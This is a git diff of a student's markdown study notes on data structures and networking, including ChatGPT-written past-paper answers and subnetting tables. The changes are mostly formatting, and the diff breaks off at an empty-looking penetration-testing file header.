primitive types is fundamental in memory allocation: - **boolean & byte** - 1 byte - + - **char & short** - 2 bytes - + - **int & float** - 4 bytes - + - **long & double** - 8 bytes - It's important to note that, in modern 64-bit Java Virtual Machines (JVM), the minimum size of an object is 16 bytes due to the header size and padding requirements. @@ -33,9 +31,8 @@ It's important to note that, in modern 64-bit Java Virtual Machines (JVM), the m When comparing Array Lists and Linked Lists: - **Addition and Removal**: Linked Lists excel in scenarios where frequent addition and removal of elements are required due to their dynamic size and absence of resizing overhead. - + - **Memory Overhead**: Linked Lists consume more memory because each node contains a reference to both the next and, in doubly-linked lists, the previous node, which increases complexity and size. - ## Memory Allocation Concepts @@ -52,48 +49,43 @@ A linked list is a collection of nodes where each node contains data and a refer Some common operations performed on linked lists include: - **Insertion**: Nodes may be inserted at the beginning, middle, or end of the list, requiring adjustments of pointers accordingly. - + - **Removal**: Similar to insertion, removal requires accessing the right node and adjusting pointers to maintain list integrity. - ### Algorithm Visualizations Visual representations can help understand operations such as inserting or deleting nodes. For example, to insert a node in a linked list, one must: 1. Create the new node. - + 2. Adjust the pointers of the surrounding nodes to include the new node. - ## Doubly-Linked Lists Doubly-linked lists add an extra pointer, allowing traversal in both forward and backward directions, enhancing flexibility: - **Advantages**: They can traverse in both directions and manage dynamic memory more efficiently. - + - **Disadvantages**: They require more memory for pointers and tend to have slower access times due to their random memory allocation. - ### Inserting and Deleting in Doubly-Linked Lists The process of inserting or deleting nodes involves managing the **prev** and **next** pointers to maintain the structure of the list. As illustrated: 1. For insertion, properly link the new node with its neighbors. - + 2. For deletion, ensure that surrounding nodes bypass the removed node, effectively maintaining list integrity. - ## Key Takeaways In conclusion, choosing between an array and a linked list largely depends on the intended operations: - **Arrays** are optimal for scenarios where quick search operations are prioritized. - -- **Linked Lists** are preferred for scenarios where insertion and deletion operations are frequent, with variations including: - - - **Singly Linked List**: Best suited for simple sequential access and minimal memory overhead. - - - **Doubly Linked List**: Ideal when navigating both forwards and backwards is necessary. - -Understanding these structures and their operations is essential for effective programming and data management. \ No newline at end of file +- **Linked Lists** are preferred for scenarios where insertion and deletion operations are frequent, with variations including: + + - **Singly Linked List**: Best suited for simple sequential access and minimal memory overhead. + + - **Doubly Linked List**: Ideal when navigating both forwards and backwards is necessary. + +Understanding these structures and their operations is essential for effective programming and data management. diff --git a/Data Structures/AI Notes/Questions & Definitions.md b/Data Structures/AI Notes/Questions & Definitions.md index 4ba288f..3faa129 100755 --- a/Data Structures/AI Notes/Questions & Definitions.md +++ b/Data Structures/AI Notes/Questions & Definitions.md @@ -1,4 +1,5 @@ -## What is an interface? +## What is an Interface? + - An interface is a device or a system that unrelated entities use to interact. - A remote control is an interface between you and a television set. @@ -6,10 +7,7 @@ basically the interface has and abstract method which classes have to implement Concert realisation of the otherwise abstract method. - - - -## What is a linked list? +## What is a Linked List? - On the linked list every node is an object. - Has more memory overhead than an ArrayList. @@ -17,6 +15,6 @@ Concert realisation of the otherwise abstract method. - It mainly allows efficient *insertion* and *deletion* operations compared to arrays - Its dynamic, the size of it changes with every change. -# Protected -prevents the method to be used by anyone but its sub classes. +# Protected +prevents the method to be used by anyone but its sub classes. diff --git a/Data Structures/AI Notes/Queues.md b/Data Structures/AI Notes/Queues.md index 2b14e07..897b915 100755 --- a/Data Structures/AI Notes/Queues.md +++ b/Data Structures/AI Notes/Queues.md @@ -7,41 +7,38 @@ A queue is an important abstract data type (ADT) characterised by its FIFO (Firs ## Key Concepts of Queues - **Structure:** A queue consists of two primary ends: - - - _Front:_ The position from which elements are removed. - - - _Rear:_ The position where elements are added. - + + - *Front:* The position from which elements are removed. + + - *Rear:* The position where elements are added. + - **Core Operations:** The basic operations associated with a queue are: - + - **isEmpty():** Checks if the queue is empty. - + - **peek():** Returns the front element without removing it. - + - **put(x):** Adds an element x at the rear of the queue. - + - **remove():** Removes and returns the front element. - ## Queue Applications Queues have various applications due to their structure, such as: - CPU and disk scheduling, where resources are shared among multiple consumers. - + - Buffering in asynchronous data transfers like I/O operations, where data may not be received at the same rate as it is sent. - + - Handling jobs in a network printer which generally follows a FIFO order. - ## Queue Representation Queues can be implemented in two ways: - **Linear Array Queue:** Uses a one-dimensional array along with pointers for front and rear. - + - **Circular Array Queue:** Employs a circular structure to efficiently utilize array space, preventing the needs of shifting elements when the array is full. - ## Linear Queue Representation @@ -56,20 +53,18 @@ Queue: A B C D (front = 1, rear = 4) A circular queue, uses the following logic: - Front points 'anti-clockwise' from the first element while rear points to the last inserted element. - + - Utilizes the modulo operator to wrap around the indices as elements are added or removed. - ## Implementation of a Circular Queue The implementation comprises several stages: 1. **Initialization:** Set front and rear to 0. - + 2. **Insertion:** Update the rear index with a modulo operation. For example, rear=(rear+1)\%queue.length. - + 3. **Removal:** Increment the front index to remove an element. - ## Challenges with Circular Queues @@ -77,26 +72,25 @@ One of the critical issues with circular queues is distinguishing between a full ## Queue Implementation Using Array -The _ArrayQueue_ class illustrates array-based implementation: +The *ArrayQueue* class illustrates array-based implementation: ``` java public class ArrayQueue implements Queue { ... } ``` -This class defines data members like _front_ and _rear_, along with methods for manipulating the queue. +This class defines data members like *front* and *rear*, along with methods for manipulating the queue. ## Queue Methods Overview Here are key methods defined in the Queue interface: 1. **isEmpty():** Returns true if the queue is empty. - + 2. **peek():** Returns the front element or null if the queue is empty. - + 3. **put(Object theObject):** Adds an element to the queue and may increase array length if the queue is full. - + 4. **remove():** Removes the front element and updates the front pointer to the next element. - ## Queue Implementation Using Linked List @@ -111,10 +105,9 @@ This structure provides constant time complexity for insertions and deletions, o ## Summarizing Queue Operations - **Adding Elements:** In a linked implementation, a new node is created and linked appropriately. - + - **Removing Elements:** The front element is removed and the front pointer is updated. - ## Conclusion -Queues are fundamental data structures in computer science with a range of applications spanning from scheduling tasks to implementing buffers. Their efficient management of elements through well-defined operations supports numerous algorithms and data handling strategies in programming. \ No newline at end of file +Queues are fundamental data structures in computer science with a range of applications spanning from scheduling tasks to implementing buffers. Their efficient management of elements through well-defined operations supports numerous algorithms and data handling strategies in programming. diff --git a/Data Structures/AI Notes/Singly and Doubly linked list.md b/Data Structures/AI Notes/Singly and Doubly linked list.md index 87bdc3d..f509245 100755 --- a/Data Structures/AI Notes/Singly and Doubly linked list.md +++ b/Data Structures/AI Notes/Singly and Doubly linked list.md @@ -7,4 +7,4 @@ | The SLL occupies less memory than DLL as it has only 2 fields. | The DLL occupies more memory than SLL as it has 3 fields. | | Complexity of deletion with a given node is O(n), because the previous node needs to be known, and traversal takes O(n) | Complexity of deletion with a given node is O(1) because the previous node can be accessed easily | | A singly linked list consumes less memory as compared to the doubly linked list. | The doubly linked list consumes more memory as compared to the singly linked list. | -| Singly linked list is relatively less used in practice due to limited number of operations | Doubly linked list is implemented more in libraries due to wider number of operations. For example [Java LinkedList](https://www.geeksforgeeks.org/linked-list-in-java/) implements Doubly Linked List. | \ No newline at end of file +| Singly linked list is relatively less used in practice due to limited number of operations | Doubly linked list is implemented more in libraries due to wider number of operations. For example [Java LinkedList](https://www.geeksforgeeks.org/linked-list-in-java/) implements Doubly Linked List. | diff --git a/Data Structures/AI Notes/Stack.md b/Data Structures/AI Notes/Stack.md index 8480f23..d84bb06 100755 --- a/Data Structures/AI Notes/Stack.md +++ b/Data Structures/AI Notes/Stack.md @@ -1,35 +1,30 @@ # Overview - - A stack is ta LIFO list. Meaning "last in first out" -- Access is allowed only from one end of the stack - - adding an item is called pulsing the stack - - retrieving an item is called popping the stack +- Access is allowed only from one end of the stack + - adding an item is called pulsing the stack + - retrieving an item is called popping the stack -# Typical uses +# Typical Uses -- Parentheses matching; ()), or (()) +- Parentheses matching; ()), or (()) - compiler's syntax check for matching braces is implemented by using stack +- The simplest application of a stack is to reverse a word. + - You push a given word to stack - letter by letter - and then pop letters from the stack. +- Another application is an "undo" mechanism in text editors; + -this operation is accomplished by keeping all text changes in a stack -- The simplest application of a stack is to reverse a word. - • You push a given word to stack - letter by letter - and then pop letters from the stack. +# Parenthesis Count -- Another application is an "undo" mechanism in text editors; - •this operation is accomplished by keeping all text changes in a stack +- Methodology (logical steps to solve the problem): + - scan expression from left to right; + - when a left parenthesis is encountered, add its position to the stack; +- when a right parenthesis is encountered, remove matching position from stack (more example in a moment). -# Parenthesis count +# Try-catch-throw -- Methodology (logical steps to solve the problem): - - scan expression from left to right; - - when a left parenthesis is encountered, add its position to the stack; -- when a right parenthesis is encountered, remove matching position from stack (more example in a moment). - -# try-catch-throw - -- When you enter a try block, push the address of this block onto a stack. +- When you enter a try block, push the address of this block onto a stack. \ -- When an exception is thrown, pop the try block that is at the top of the stack; if the stack is empty, terminate the program. - -- If the popped try block has no matching catch block, go back to the previous step. - +- When an exception is thrown, pop the try block that is at the top of the stack; if the stack is empty, terminate the program. +- If the popped try block has no matching catch block, go back to the previous step. - If the popped try block has a matching catch block, execute the matching catch block. diff --git a/Data Structures/AI Notes/Trees.md b/Data Structures/AI Notes/Trees.md index 6f70f8b..90557d6 100755 --- a/Data Structures/AI Notes/Trees.md +++ b/Data Structures/AI Notes/Trees.md @@ -9,29 +9,17 @@ Linear lists, which include arrays and linked lists, are ideal for serially orde ### Examples of Hierarchical Data in Trees - Corporate Structure: - - - In a company, positions such as president, vice presidents, managers, etc., can be represented in a tree format. - - - Object-Oriented Programming: - - - In Java, classes form a hierarchy where the Object class is at the top, followed by subclasses. - ## Tree Terminologies Understanding tree terminologies is crucial for grasping more complex operations and implementations. - **Depth:** The number of edges from the root node to a specific node. For example, if node G is three levels down from the root, its depth is 3. - - - **Height:** The height of a tree is defined as the number of levels it possesses. A tree's maximum depth helps determine its overall height. - - - **Degree of a Node:** This refers to the number of child nodes a specific node has. A tree where each node has a maximum of two children is termed a **binary tree**. - ### Binary Trees @@ -42,13 +30,8 @@ A binary tree is defined such that each node has at most two children, known tra When analyzing binary trees, certain properties can be established: - A binary tree of height h must have at least h nodes. - - - In a full binary tree, each node has either two children or none. It contains the maximum number of nodes defined as 2^h - 1. - - - The number of nodes and tree height relationship is succinctly expressed with the inequalities: h \leq n \leq 2^h -1. - ## Binary Operations and Traversals @@ -59,47 +42,31 @@ Performing operations on binary trees is essential to manage and manipulate data Traversal techniques allow for processing each node in a specified order: - **Pre-order Traversal:** Process the root, then traverse the left subtree, followed by the right subtree. - - - **In-order Traversal:** Visit the left subtree first, then process the root, followed by the right subtree. - - - **Post-order Traversal:** Traverse the left subtree, right subtree, and then process the root. - - - **Level-order Traversal:** Process nodes level by level from the root down to the leaves. - ### Arithmetic Expressions as Trees -Binary trees are particularly useful for representing arithmetic expressions. An _expression tree_ is structured such that: +Binary trees are particularly useful for representing arithmetic expressions. An *expression tree* is structured such that: - Leaves represent operands. - - - Non-leaf nodes denote operators. - - - Subtrees represent sub-expressions. - ## Conversion Between Expression Formats Moving between infix, prefix, and postfix expressions requires constructing expression trees first. 1. Infix expression (a + b) can be converted to a postfix expression (a b +) by building the corresponding expression tree and performing a post-order traversal. - ## Constructing Binary Trees from Traversals Creating a binary tree from given traversals (like in-order and pre-order) involves recognizing patterns in the data: - From in-order and pre-order traversals, one identifies the root and splits left and right subtrees accordingly. - - - The process can illustrate various scenarios and result in multiple valid trees for the same traversal combinations. - ## Conclusion -Tree data structures are indispensable in computer science, providing efficient methods for data organization, retrieval, and management. Understanding their properties and operations enables clearer problem-solving strategies and effective programming techniques. \ No newline at end of file +Tree data structures are indispensable in computer science, providing efficient methods for data organization, retrieval, and management. Understanding their properties and operations enables clearer problem-solving strategies and effective programming techniques. diff --git a/Data Structures/Focused Exam Revision.md b/Data Structures/Focused Exam Revision.md index 9f62eaf..e5d6741 100755 --- a/Data Structures/Focused Exam Revision.md +++ b/Data Structures/Focused Exam Revision.md @@ -1,50 +1,78 @@ # Interfaces, Linked Lists, Array Lists + ## Definitions + ### Interface + A contract that defines methods, field variables, return types, a class must implement. An example of this is the `List` interface in Java. + ### Linked List + A data structure where nodes are linked using pointers. Each node contains data - storing a value, and pointer - referencing the next node (and previous in doubly linked). + #### Types + - Singly Linked (Unidirectional) - Doubly Linked (Bidirectional) - Circular Linked (Last node points to first node) + ### Array List + A resizable array-based data structure where elements are stored in contiguous memory locations. Arrays allow for random access through an index corresponding to a location in the array. When capacity is exceeded, the list can resize dynamically. ## Difference between Linked and Array Lists + - Memory Allocation - LL -> Dynamic; Array -> Contiguous - Performance - LL -> Good for Insert/Delete; Array -> Good for searching ## Use Case + ### Linked List + #### Stacks / Queues + Linked lists can efficiently add or remove from either end. + - Stack: Singly Linked List, insert/remove at head. O(1) - Queue: Doubly Linked List, efficient tail and head operations (enqueue dequeue) + #### Task Scheduling + - Dynamic data, removing / adding tasks easier with linked list + #### Undo Function + - Doubly Linked List, track user actions. move back or forward allows for easy undo / redo ### Array List + #### Database Caching + - Frequent random access, ideal for storing cached records. + #### Dropdown Menus + - Store and dynamically resize when elements need to be added to UI drop-downs that change based on input. + #### Inventory Systems + - Elements added or accessed without many deletions, Array List would allow for predictable resizing. + ## Implementation ### Interface + ```java interface Interface { void method(); int method2(int param) } ``` + ### Linked List + ```java class Node { int data; @@ -80,7 +108,9 @@ class LinkedList { } } ``` + ### Array List + ```java import java.util.ArrayList; class ArrayList { @@ -168,11 +198,13 @@ class Stack { ``` ## Parenthesis Matching + - Push opening brackets, closing brackets pop correspondingly, if no match, false. ## Dijkstra's Two-Stack Algorithm + - Eval parenthesized arithmetic expressions - One stack operands - One stack operators - Processes expression by push/pop elements on stacks, eval subexpression when closing parenthesis encountered. -- Assumed expression is fully parenthesised \ No newline at end of file +- Assumed expression is fully parenthesised diff --git a/Data Structures/GPT Answers to Past Paper/Question 1.md b/Data Structures/GPT Answers to Past Paper/Question 1.md index 1c10390..33069ba 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 1.md +++ b/Data Structures/GPT Answers to Past Paper/Question 1.md @@ -1,4 +1,4 @@ -# Write a Java method pop() for a stack implemented using an array. +# Write a Java Method pop() for a Stack Implemented Using an Array. ```java public class Stack { diff --git a/Data Structures/GPT Answers to Past Paper/Question 10.md b/Data Structures/GPT Answers to Past Paper/Question 10.md index 7fcb432..08b61a8 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 10.md +++ b/Data Structures/GPT Answers to Past Paper/Question 10.md @@ -4,6 +4,7 @@ To insert a node into a **binary search tree (BST)** while keeping the tree **ba 2. After insertion, **rebalance the tree** (if necessary) to ensure that it remains balanced. A tree is considered balanced if the height difference between the left and right subtrees of any node is at most 1 (this is the **balanced binary tree** or **AVL tree** property). ### **Given Binary Search Tree**: + ``` 10 / \ @@ -21,6 +22,7 @@ We start by inserting **4** into the BST: - 4 is greater than 2, so 4 will be placed as the **right child** of 2. After insertion, the tree looks like this: + ``` 10 / \ @@ -44,6 +46,7 @@ Since the tree is balanced at all levels, **no further rebalancing is necessary* ### **Final Balanced Tree**: The final tree after inserting 4 is: + ``` 10 / \ @@ -56,4 +59,4 @@ The final tree after inserting 4 is: ### **Conclusion**: -After inserting 4, the tree remains balanced and no rotations are needed. \ No newline at end of file +After inserting 4, the tree remains balanced and no rotations are needed. diff --git a/Data Structures/GPT Answers to Past Paper/Question 2.md b/Data Structures/GPT Answers to Past Paper/Question 2.md index 376a728..748a54d 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 2.md +++ b/Data Structures/GPT Answers to Past Paper/Question 2.md @@ -1,6 +1,7 @@ -# Describe a scenario where a stack data structure would be more suitable than a Queue +# Describe a Scenario where a Stack Data Structure Would Be More Suitable than a Queue A **stack data structure** is more suitable than a queue in scenarios where you need to process items in a **Last-In, First-Out (LIFO)** order + ### Scenario: **Undo Operation in Text Editors** - **Description**: In text editors, when a user types, deletes, or performs other actions, these operations are stored so they can be undone in reverse order of execution. @@ -36,5 +37,5 @@ A **stack data structure** is more suitable than a queue in scenarios where you - A **queue** is more suitable when processing items in a **First-In, First-Out (FIFO)** order, such as serving customer requests or scheduling tasks. - A stack is better when you need **reversal** or to **process the most recent element first**, such as undo operations, recursion, or browser backtracking. -Describe a scenario where a stack data structure would be more suitable than a -Queue \ No newline at end of file +Describe a scenario where a stack data structure would be more suitable than a +Queue diff --git a/Data Structures/GPT Answers to Past Paper/Question 3.md b/Data Structures/GPT Answers to Past Paper/Question 3.md index ebd9b92..f04a4d3 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 3.md +++ b/Data Structures/GPT Answers to Past Paper/Question 3.md @@ -1,4 +1,4 @@ -# What is a binary search tree, and how does it differ from a regular binary tree? +# What is a Binary search Tree, and how Does it Differ from a Regular Binary Tree? ### **Binary Search Tree (BST):** @@ -38,6 +38,7 @@ A **Binary Tree** is a tree data structure where each node has at most two child #### Binary Tree: A binary tree with no ordering constraints: + ``` 10 / \ @@ -45,11 +46,13 @@ A binary tree with no ordering constraints: / 40 ``` + - Node values are not in any specific order. #### Binary Search Tree: A binary search tree: + ``` 10 / \ @@ -64,13 +67,13 @@ A binary search tree: --- -### **Advantages of BST Over a General Binary Tree:** +### **Advantages Of BST Over a General Binary Tree:** 1. **Efficient Searching**: Searching in a BST takes $O(h)$, where $h$ is the height of the tree. In a balanced BST, $h=O(log⁡n)$. 2. **Ordered Traversal**: In-order traversal of a BST produces the nodes in sorted order. 3. **Efficient Range Queries**: BSTs can efficiently find all elements within a specific range. -### **Disadvantages of BST:** +### **Disadvantages Of BST:** 1. If unbalanced (e.g., when nodes are inserted in sorted order), the BST can degrade to a linked list, resulting in $O(n)$ time for operations. -2. Maintaining balance (e.g., in AVL or Red-Black Trees) adds complexity. \ No newline at end of file +2. Maintaining balance (e.g., in AVL or Red-Black Trees) adds complexity. diff --git a/Data Structures/GPT Answers to Past Paper/Question 4.md b/Data Structures/GPT Answers to Past Paper/Question 4.md index d3a01af..7a03a8c 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 4.md +++ b/Data Structures/GPT Answers to Past Paper/Question 4.md @@ -1,8 +1,8 @@ -# What is an interface in object-oriented programming and how does it differ from a class? +# What is an Interface in Object-oriented Programming and how Does it Differ from a Class? -### **What is an Interface in Object-Oriented Programming?** +### **What Is an Interface in Object-Oriented Programming?** -An **interface** is a contract in object-oriented programming (OOP) that defines a set of methods (and sometimes properties) that a class must implement. It specifies _what_ a class should do, but not _how_ it should do it. +An **interface** is a contract in object-oriented programming (OOP) that defines a set of methods (and sometimes properties) that a class must implement. It specifies *what* a class should do, but not *how* it should do it. Key characteristics of an interface: @@ -12,6 +12,7 @@ Key characteristics of an interface: 4. **No State**: Interfaces do not contain instance variables or state but may include constants. #### Example in Java: + ```java // Define an interface public interface Animal { @@ -33,7 +34,7 @@ public class Dog implements Animal { } ``` -### **What is a Class?** +### **What Is a Class?** A **class** is a blueprint for creating objects in OOP. It defines the structure (fields or attributes) and behavior (methods) of objects. Unlike interfaces, classes can have implementations, state, and behavior. @@ -45,6 +46,7 @@ Key characteristics of a class: 4. **Constructors**: Classes can have constructors to initialize objects. #### Example in Java: + ```java // Define a class public class Dog { @@ -73,13 +75,14 @@ public class Dog { |**Constructors**|Cannot have constructors.|Can have constructors to initialize objects.| |**Abstract**|Interfaces are entirely abstract (unless extended in modern versions).|Can be abstract or concrete.| |**Default Methods**|Starting from Java 8, interfaces can have default methods (methods with a body).|Classes always support method implementation.| -### **When to Use an Interface?** + +### **When To Use an Interface?** - **Polymorphism**: When you want different classes to provide their specific implementation of the same behavior. - **Decoupling**: To decouple code by relying on abstractions rather than concrete classes. - **Multiple Inheritance**: When you need a class to inherit behavior from multiple sources. -### **When to Use a Class?** +### **When To Use a Class?** - When you need to define an object with both state and behavior. - When you need concrete implementations of methods. diff --git a/Data Structures/GPT Answers to Past Paper/Question 5.md b/Data Structures/GPT Answers to Past Paper/Question 5.md index 0a0c5fd..aa09a87 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 5.md +++ b/Data Structures/GPT Answers to Past Paper/Question 5.md @@ -1,4 +1,4 @@ -# Convert the infix expression A * (B + C) / D to a postfix expression +# Convert the Infix Expression A * (B + C) / D to a Postfix Expression To convert the infix expression `A * (B + C) / D` into postfix notation, we use the following rules: @@ -16,19 +16,20 @@ To convert the infix expression `A * (B + C) / D` into postfix notation, we use #### Infix Expression: `A * (B + C) / D` 1. Start with the subexpression inside the parentheses `(B + C)`: - + - Convert `B + C` to postfix: `BC+`. 2. Substitute the postfix for `(B + C)` back into the original expression: - + - The expression becomes `A * BC+ / D`. 3. Process the multiplication (`*`) and division (`/`): - + - `A * BC+` becomes `ABC+*`. - `ABC+* / D` becomes `ABC+*D/`. --- ### **Final Postfix Expression**: + ``` ABC+*D/ ``` diff --git a/Data Structures/GPT Answers to Past Paper/Question 6.md b/Data Structures/GPT Answers to Past Paper/Question 6.md index 8f0615e..034d003 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 6.md +++ b/Data Structures/GPT Answers to Past Paper/Question 6.md @@ -1,4 +1,4 @@ -# Evaluate the postfix expression `6 2 3 + -.` +# Evaluate the Postfix Expression `6 2 3 + -.` ### **Postfix Evaluation Rules** @@ -13,25 +13,25 @@ **Expression**: `6 2 3 + -` 1. **Read `6`**: - + - Push `6` onto the stack. - **Stack**: `[6]` 2. **Read `2`**: - + - Push `2` onto the stack. - **Stack**: `[6, 2]` 3. **Read `3`**: - + - Push `3` onto the stack. - **Stack**: `[6, 2, 3]` 4. **Read `+`**: - + - Pop the top two operands (`3` and `2`). - Perform `2 + 3 = 5`. - Push the result (`5`) onto the stack. - **Stack**: `[6, 5]` 5. **Read `-`**: - + - Pop the top two operands (`5` and `6`). - Perform `6 - 5 = 1`. - Push the result (`1`) onto the stack. @@ -42,4 +42,3 @@ ### **Final Result**: The result of the postfix expression `6 2 3 + -` is **`1`**. - diff --git a/Data Structures/GPT Answers to Past Paper/Question 7.md b/Data Structures/GPT Answers to Past Paper/Question 7.md index 08e9aa1..cb3aac8 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 7.md +++ b/Data Structures/GPT Answers to Past Paper/Question 7.md @@ -1,6 +1,6 @@ -# Compare and contrast a queue with a stack. +# Compare and Contrast a Queue with a Stack. -### **Comparison of Queue and Stack** +### **Comparison Of Queue and Stack** |**Aspect**|**Stack**|**Queue**| |---|---|---| @@ -47,4 +47,4 @@ ### **Summary**: - A **stack** is suitable for tasks where the most recent action needs to be undone or processed first (**LIFO**). -- A **queue** is ideal for tasks where the first action needs to be processed first (**FIFO**). \ No newline at end of file +- A **queue** is ideal for tasks where the first action needs to be processed first (**FIFO**). diff --git a/Data Structures/GPT Answers to Past Paper/Question 8.md b/Data Structures/GPT Answers to Past Paper/Question 8.md index 76cd367..da99f5b 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 8.md +++ b/Data Structures/GPT Answers to Past Paper/Question 8.md @@ -1,4 +1,4 @@ -# Consider a min heap with these elements: [4, 5, 6, 7, 8, 9, 10]. Insert 3 into this min heap. +# Consider a Min Heap with These Elements: [4, 5, 6, 7, 8, 9, 10]. Insert 3 into This Min Heap. In a **min heap**, the root node contains the smallest element, and every parent node is less than its children. When we insert a new element into a min heap, we follow these steps: @@ -8,10 +8,13 @@ In a **min heap**, the root node contains the smallest element, and every parent ### Given Min Heap: The given min heap is represented as an array: + ```csharp [4, 5, 6, 7, 8, 9, 10] ``` + This corresponds to the following binary tree: + ``` 4 / \ @@ -19,13 +22,17 @@ This corresponds to the following binary tree: / \ / \ 7 8 9 10 ``` + ### **Step 1: Insert 3 into the Heap** First, insert 3 at the end of the heap: + ```csharp [4, 5, 6, 7, 8, 9, 10, 3] ``` + This corresponds to the following binary tree: + ``` 4 / \ @@ -35,6 +42,7 @@ This corresponds to the following binary tree: / 3 ``` + ### **Step 2: Bubble Up** Now, we need to **bubble up** the element `3` to restore the heap property. We compare `3` with its parent and swap if necessary: @@ -42,6 +50,7 @@ Now, we need to **bubble up** the element `3` to restore the heap property. We c - The parent of `3` is `7` (index 3). Since `3 < 7`, we swap them. After the swap, the heap becomes: + ``` 4 / \ @@ -57,6 +66,7 @@ Now, we continue the bubbling up process: - The parent of `3` is `5` (index 1). Since `3 < 5`, we swap them. After the swap, the heap becomes: + ``` 4 / \ @@ -86,6 +96,7 @@ After the swap, the heap becomes: ### **Final Array Representation**: The final min heap as an array is: + ```csharp [3, 4, 6, 5, 8, 9, 10, 7] ``` diff --git a/Data Structures/GPT Answers to Past Paper/Question 9.md b/Data Structures/GPT Answers to Past Paper/Question 9.md index f387e6a..d98135f 100755 --- a/Data Structures/GPT Answers to Past Paper/Question 9.md +++ b/Data Structures/GPT Answers to Past Paper/Question 9.md @@ -1,4 +1,5 @@ -# Create an adjacency matrix for the following weighted undirected graph. +# Create an Adjacency Matrix for the following Weighted Undirected Graph. + ``` A-3-B | | @@ -17,10 +18,10 @@ To create an **adjacency matrix** for the given **weighted undirected graph**, w ### **Graph Details**: -- **A -3- B**: There is an edge between A and B with weight 3. -- **A -2- C**: There is an edge between A and C with weight 2. -- **B -1- D**: There is an edge between B and D with weight 1. -- **C -4- D**: There is an edge between C and D with weight 4. +- **A -3B**: There is an edge between A and B with weight 3. +- **A -2C**: There is an edge between A and C with weight 2. +- **B -1D**: There is an edge between B and D with weight 1. +- **C -4D**: There is an edge between C and D with weight 4. --- @@ -49,4 +50,4 @@ Let's map the nodes to indices: - `B-D` has a weight of 1, so `matrix[1][3] = 1` and `matrix[3][1] = 1`. - `C-D` has a weight of 4, so `matrix[2][3] = 4` and `matrix[3][2] = 4`. -This adjacency matrix accurately represents the weighted undirected graph. \ No newline at end of file +This adjacency matrix accurately represents the weighted undirected graph. diff --git a/Data Structures/Week 4/Week 4 - Exceptions.md b/Data Structures/Week 4/Week 4 - Exceptions.md index 9452096..c918714 100755 --- a/Data Structures/Week 4/Week 4 - Exceptions.md +++ b/Data Structures/Week 4/Week 4 - Exceptions.md @@ -7,4 +7,3 @@ flowchart BT iae[IllegalArgumentException] --> re npe[NullPointerException] --> re ``` - diff --git a/Data Structures/Week 5/Lecture 9 - Stacks.md b/Data Structures/Week 5/Lecture 9 - Stacks.md index e69de29..8b13789 100755 --- a/Data Structures/Week 5/Lecture 9 - Stacks.md +++ b/Data Structures/Week 5/Lecture 9 - Stacks.md @@ -0,0 +1 @@ + diff --git a/Data Structures/Week 7/Week 7.md b/Data Structures/Week 7/Week 7.md index 8f47e94..0908165 100755 --- a/Data Structures/Week 7/Week 7.md +++ b/Data Structures/Week 7/Week 7.md @@ -4,4 +4,4 @@ Next job to be selected is one with highest prio Add / Insert new item Remove / Delete highest or lowest prio -Get / find highest or lowest prio \ No newline at end of file +Get / find highest or lowest prio diff --git a/Networking and Security/Untitled.md b/Networking and Security/Untitled.md index e69de29..8b13789 100644 --- a/Networking and Security/Untitled.md +++ b/Networking and Security/Untitled.md @@ -0,0 +1 @@ + diff --git a/Networking and Security/Week 18/Workshop.md b/Networking and Security/Week 18/Workshop.md index e65ca0c..62e5d41 100644 --- a/Networking and Security/Week 18/Workshop.md +++ b/Networking and Security/Week 18/Workshop.md @@ -3,6 +3,6 @@ ARP Windows XP ann-laptop Microsoft Outlook -User: +User: -Asking to bring fake passport \ No newline at end of file +Asking to bring fake passport diff --git a/Networking and Security/Week 2/Lecture 3 - IP4 and Subnetting.md b/Networking and Security/Week 2/Lecture 3 - IP4 and Subnetting.md index 7ab9a5f..070ed11 100755 --- a/Networking and Security/Week 2/Lecture 3 - IP4 and Subnetting.md +++ b/Networking and Security/Week 2/Lecture 3 - IP4 and Subnetting.md @@ -21,10 +21,9 @@ - Either need multiple network numbers, or use subnets to pretend you have multiple network numbers - One LAN per building, big network likely to be split into smaller networks. (Subnets) - 255.0.0.0 /8 16.0.0.0 255.255.0.0 /16 -255.255.255.0 \ No newline at end of file +255.255.255.0 diff --git a/Networking and Security/Week 4/Lecture 8.md b/Networking and Security/Week 4/Lecture 8.md index 11bda66..374ac3f 100755 --- a/Networking and Security/Week 4/Lecture 8.md +++ b/Networking and Security/Week 4/Lecture 8.md @@ -5,12 +5,13 @@ | Network | Internet | IP, ICMP | | Data Link
Physical | Network Access | PPP
IP-over-ADSL
IP-over-Ethernet | -# Internet Protocol version 4 +# Internet Protocol Version 4 - Connectionless packet oriented service - Unreliable service, no guarantee of delivery - Best effort, no error recovery All packets routed independently + - Routers examine destination IP address and choose best route to forward packet -- Big packets fragmented, fragments routed separately \ No newline at end of file +- Big packets fragmented, fragments routed separately diff --git a/Networking and Security/Week 4/Workshop 4 - Routing.md b/Networking and Security/Week 4/Workshop 4 - Routing.md index fa043c0..aabd986 100755 --- a/Networking and Security/Week 4/Workshop 4 - Routing.md +++ b/Networking and Security/Week 4/Workshop 4 - Routing.md @@ -1,4 +1,3 @@ - | ubnet | Hosts | Addresses | Bits Required | Netmask | CIDR Netmask | | ----- | ----- | --------- | ------------- | --------------- | ------------ | | A | 23 | 25 | 5 | 255.255.255.224 | /27 | @@ -6,6 +5,7 @@ | C | 18 | 20 | 5 | 255.255.255.224 | /27 | | D | 31 | 33 | 6 | 255.255.255.192 | /26 | | E | 73 | 75 | 7 | 225.255.255.128 | /25 | + Subnet E: 66.77.88.0/25 Range: 66.77.88.1 - 66.77.88.126 Broadcast: 66.77.88.127 @@ -123,4 +123,4 @@ Internet Connected Router = Y | B | 66.77.89.0/29 | 66.77.89.1 | | C | 66.77.88.224/27 | 66.77.88.225 | | D | 66.77.88.128/26 | 66.77.88.128 | -| E | 66.77.88.0/25 | 66.77.88.1 | \ No newline at end of file +| E | 66.77.88.0/25 | 66.77.88.1 | diff --git a/PHPStorm/README.md b/PHPStorm/README.md index e69de29..8b13789 100755 --- a/PHPStorm/README.md +++ b/PHPStorm/README.md @@ -0,0 +1 @@ + diff --git a/Penetration Testing/Exploitation Assignment/Discovery.md b/Penetration Testing/Exploitation Assignment/Discovery.md index e43646a..8ffd55f 100644 --- 